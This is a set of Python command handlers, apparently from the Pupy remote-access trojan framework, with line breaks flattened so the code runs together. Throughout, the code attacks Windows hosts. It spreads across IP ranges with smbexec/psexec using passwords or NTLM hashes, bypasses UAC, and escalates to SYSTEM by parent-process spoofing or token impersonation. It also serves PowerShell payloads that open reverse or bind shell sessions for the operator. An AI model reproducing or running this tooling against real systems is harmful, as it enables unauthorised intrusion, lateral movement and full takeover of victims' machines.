def run(self, args): if "/" in args.target[0]: hosts = IPNetwork(args.target[0]) else: hosts = list() hosts.append(args.target[0]) smbexec = self.client.remote('pupyutils.psexec', 'smbexec') completions = [] for host in hosts: if args.command in ('pupy86', 'pupy32', 'pupy64'): _, completion = powerloader.serve( self, self.client.get_conf(), host=str(host), port=args.port, user=args.user, domain=args.domain, password=args.passwd, ntlm=args.hash, execm=args.execm, timeout=args.timeout, arch='x64' if args.command == 'pupy64' else 'x86') completions.append(completion) continue output, error = smbexec(str(host), args.port, args.user, args.domain, args.passwd, args.hash, args.command, args.share, args.execm, args.codepage, args.timeout, not args.noout) if output: self.log(output) if error: self.error(error) if completions: self.info('Wait for completions') for completion in completions: if not completion.is_set(): completion.wait()
def run(self, args): if "/" in args.target[0]: hosts = IPNetwork(args.target[0]) else: hosts = list() hosts.append(args.target[0]) psexec = self.client.remote('pupyutils.psexec', 'psexec', False) completions = [] for host in hosts: if args.command in ('pupy86', 'pupy32', 'pupy64'): _, completion = powerloader.serve( self, self.client.get_conf(), host=str(host), port=args.port, user=args.user, domain=args.domain, password=args.passwd, ntlm=args.hash, execm=args.execm, timeout=args.timeout, arch='x64' if args.command == 'pupy64' else 'x86') if completion: completions.append(completion) continue completion = Event() def _on_data(data): if args.verbose: self.log(u'{}:{}: {}'.format(host, args.port, data)) else: self.stdout.write(data) def _on_complete(message): try: if message: self.error(message) elif message and args.verbose: self.info('Completed') finally: completion.set() psexec(str(host), args.port, args.user, args.domain, args.passwd, args.hash, args.command, args.execm, args.codepage, args.timeout, not args.noout, None, _on_data, _on_complete, args.verbose) completions.append(completion) if completions: if args.verbose: self.info('Wait for completions') for completion in completions: if not completion.is_set(): completion.wait()
def run(self, args): can_get_admin_access = self.client.remote('pupwinutils.security', 'can_get_admin_access', False) # Check if a UAC bypass can be done if not can_get_admin_access(): self.error('Your are not on the local administrator group.') return if args.scan: self.launch_scan() return if not args.scan and not args.method: method = self.launch_scan(print_result=False) if not method: self.error( 'Get the list of possible methods (-l) and bypass uac using -m <id>' ) return else: method = args.method # TO CHANGE: # A way should be found to automatically generate a dll (ex: using a generic dll which launch a bat script) if method in ('11', '12', '13', '14'): self.warning( 'This technique needs to upload a dll. It has been temporary disabled to avoid AV alerts' ) return # Weird error, root cause not found yet if method in '07': self.warning( 'This technique does not work with custom exe, only work with cmd.exe' ) return # Check if it is a bind shell is_bind_launcher = False launcher_type, address_port = self.client.desc[ 'launcher'], self.client.desc['address'] # Case of a pupy bind shell if ps1 mode is used (no reverse connection possible) if launcher_type == "bind": self.info( 'The current pupy launcher is using a BIND connection. It is listening on {0} on the target' .format(address_port)) is_bind_launcher = True # ------------------ Prepare the payload ------------------ rjoin = self.client.remote('os.path', 'join') risfile = self.client.remote('os.path', 'isfile') tempdir = self.client.remote('tempfile', 'gettempdir', False) random_name = ''.join([ random.choice(string.ascii_letters + string.digits) for n in xrange(6) ]) local_file = '' remote_file = '' completion = None if not args.exe and not args.restart: self.info('Using powershell payload') client_conf = None if is_bind_launcher: self.info("BIND launcher is on the target.") self.info( "Be careful, you have to choose a port which is not used on the target!" ) listening_port = -1 while listening_port == -1: try: listening_port = int( input( "[?] Give me the listening port to use on the target: " )) except Exception as e: self.warning( "You have to give me a valid port. Try again ({})". format(e)) listening_address = address_port.split(':')[0] bind_address_and_port = "{0}:{1}".format( listening_address, listening_port) self.info( "Payload used for bypassing UAC will be " "configured for listening on {0} on the target".format( bind_address_and_port)) bind_conf = self.client.get_conf() # Modify the listening port on the conf. If it is not modified, # the ps1 script will listen on the same port as the initial pupy launcher on the target bind_conf['launcher_args'][ bind_conf['launcher_args'].index("--port") + 1] = str(listening_port) client_conf = bind_conf else: self.info( "Reverse connection mode: Configuring client with the same configuration as " "the (parent) launcher on the target") client_conf = self.client.get_conf() cmd, completion = powerloader.serve(self, client_conf) # use a custom exe to execute as admin elif args.exe: cmd_args = shlex.split(args.exe, posix=False) arg0, argv = cmd_args[0], cmd_args[1:] argv = ' '.join(repr(x) if ' ' in x else x for x in argv) if risfile(arg0): self.info('Using remote cmd ({})'.format(args.exe)) cmd = args.exe elif os.path.exists(arg0): self.info('Using custom executable (local)') local_file = args.exe remoteFileName = "{random_name}.{ext}".format( random_name=random_name, ext="exe") remote_file = rjoin(tempdir(), remoteFileName) cmd = remote_file + ' ' + argv else: self.error('Executable file not found: {}'.format(arg0)) return # restart the current executable as admin else: self.info('Using current executable') exe = self.client.desc['exec_path'].split('\\') if exe[len(exe) - 1].lower() in ['powershell.exe', 'cmd.exe' ] and exe[1].lower() == 'windows': self.warning('It seems that your current process is %s' % self.client.desc['exec_path']) self.warning('It is not recommended to restart it') return cmd = self.client.desc['exec_path'] # upload payload (ps1 or custom exe) if not args.restart and local_file: self.info("Uploading to %s" % remote_file) upload(self.client.conn, local_file, remote_file, chunk_size=1 * 1024 * 1024) # ------------------ Ready to launch the bypassuac ------------------ self.info("Bypass uac could take few seconds, be patient...") bypass_uac = self.client.remote('winpwnage.core.scanner', 'function', False) result = bypass_uac(uac=True, persist=False).run(id=method, payload=cmd) if not result: self.error('Nothing done, check if the id is on the list') else: self.parse_result(result, get_method_id=False) if completion: if not completion.is_set(): self.info('Waiting for a powerloader status updates') completion.wait() elif not args.exe and not args.restart: # Powershell could be longer to execute self.info( "Waiting for a connection (take few seconds, 1 min max)...") # TO DO (remove ps1 file) # ros.remove(remote_file) # not work if removed too fast # Remove generated ps1 file if not args.exe and not args.restart and local_file: os.remove(local_file)
def run(self, args): # Command to execute on the target cmdToExecute = None # The the local file which contains PS1 script (when powershell chosen or enabled automcatically) local_file = '' # True if ps1 script will be used in bind mode. If reverse connection with ps1 then False isBindLauncherForPs1 = False # Contains ip:port used for bind connection on the target with ps1 script. # None if reverse connection and (consequently) isBindLauncherForPs1==False listeningAddressPortForBindPs1 = None # Usefull information for bind mode connection (ps1 script) launcherType, addressPort = self.client.desc[ 'launcher'], self.client.desc['address'] completion = None # Case of a pupy bind shell if ps1 mode is used (no reverse connection possible) if launcherType == "bind": self.info( 'The current pupy launcher is using a BIND connection. It is listening on {0} on the target' .format(addressPort)) isBindLauncherForPs1 = True self.info( 'Consequently, powershell option is enabled automatically') args.powershell = True else: self.info( 'The current pupy launcher is using a REVERSE connection (e.g. \'auto_proxy\' or \'connect\' launcher)' ) isBindLauncherForPs1 = False # A Powershell payload is used for getting a pupy session as SYSTEM if args.powershell: self.info( 'A powershell payload will be used for getting a pupy session as SYSTEM' ) clientConfToUse = None if isBindLauncherForPs1: self.info( 'Using powershell payload because the launcher on the target uses a bind connection. Launcher listens on {0}' .format(addressPort)) self.info( "Bind launcher used. So a BIND ps1 will be used in child launcher. This ps1 will listen on your given port" ) self.info( "Be careful, you have to choose a port which is not used on the target!" ) listeningPort = -1 while listeningPort == -1: try: listeningPort = int( input( "[?] Give me the listening port to use on the target: " )) except Exception as e: self.warning( "You have to give me a valid port. Try again. ({})" .format(e)) listeningAddress = addressPort.split(':')[0] listeningAddressPortForBindPs1 = "{0}:{1}".format( listeningAddress, listeningPort) self.info( "The ps1 script used for getting a pupy session as SYSTEM will be configured for listening on {0} on the target" .format(listeningAddressPortForBindPs1)) bindConf = self.client.get_conf() #Modify the listening port on the conf. If it is not modified, the ps1 script will listen on the same port as the inital pupy launcher on the target bindConf['launcher_args'][ bindConf['launcher_args'].index("--port") + 1] = str(listeningPort) clientConfToUse = bindConf else: self.info( 'Using powershell payload because you have chosen this option. The launcher on the target uses a reverse connection' ) clientConfToUse = self.client.get_conf() cmdToExecute, completion = powerloader.serve(self, clientConfToUse) # restart current exe as system if args.restart: self.info( 'Trying to configure for running the current executable on the target as SYSTEM' ) exe = self.client.desc['exec_path'].split('\\') if exe[len(exe) - 1].lower() in ['powershell.exe', 'cmd.exe' ] and exe[1].lower() == 'windows': self.warning('It seems that your current process is %s' % self.client.desc['exec_path']) self.warning('It is not recommended to restart it') return cmdToExecute = self.client.desc['exec_path'] if args.method == 'inheritance': if not cmdToExecute: cmdToExecute = args.execute if cmdToExecute is None: self.error( 'Application to execute with SYSTEM privileges should ' 'be specified with one of -x/-p/-r args') return try: enable_privilege = self.client.remote('pupwinutils.security', 'EnablePrivilege', False) enable_privilege('SeDebugPrivilege') self.success('{} enabled'.format('SeDebugPrivilege')) except Exception as e: self.error('{} was not enabled: {}'.format( 'SeDebugPrivilege', e.args[1])) create_new_process_from_ppid = self.client.remote( 'pupwinutils.security', 'create_new_process_from_ppid', False) if args.parentID: self.info( 'Using the Parent Process method on the pid {0}...'.format( args.parentID)) self.info('Command: {}'.format(cmdToExecute)) pid = create_new_process_from_ppid(int(args.parentID), cmdToExecute) self.success('Created: pid={}, ppid={}'.format( pid, args.parentID)) return else: self.info( "Getting information about all processes running on the target" ) enum_processes = self.client.remote('pupwinutils.processes', 'enum_processes') get_integrity_level = self.client.remote( 'pupwinutils.security', 'get_integrity_level', False) self.info( "Searching a process with a 'SYSTEM' integrity level") for aprocess in enum_processes(): integrityLevel = get_integrity_level(aprocess['pid']) if not integrityLevel == 'System': continue self.info( "{0} (pid {1}) has a 'SYSTEM' integrity level, trying to use it" .format(aprocess['name'], aprocess['pid'])) try: pid = create_new_process_from_ppid( aprocess['pid'], cmdToExecute) self.success('Created: pid={}, ppid={}'.format( pid, aprocess['pid'])) break except Exception as e: self.error('Failed: {}'.format(' '.join( x for x in e.args if type(x) is str))) elif args.method == 'impersonate': if cmdToExecute is None: cmdToExecute = args.execute or 'cmd.exe' getsystem = self.client.remote('pupwinutils.security', 'getsystem', False) proc_pid = getsystem(cmdToExecute) self.success('Impersonated, pid={}. Migrating..'.format(proc_pid)) migrate(self, proc_pid, keep=args.keep, timeout=args.timeout) return if args.powershell: if completion and not completion.is_set(): self.info('Waiting for PowerLoader completion') completion.wait() if isBindLauncherForPs1: self.success( 'You have to connect to the target manually on {0}: ' 'try "connect --host {0}" in pupy shell'.format( listeningAddressPortForBindPs1)) else: self.success( 'Waiting for a connection (take few seconds, 1 min max)...' ) if local_file: os.remove(local_file)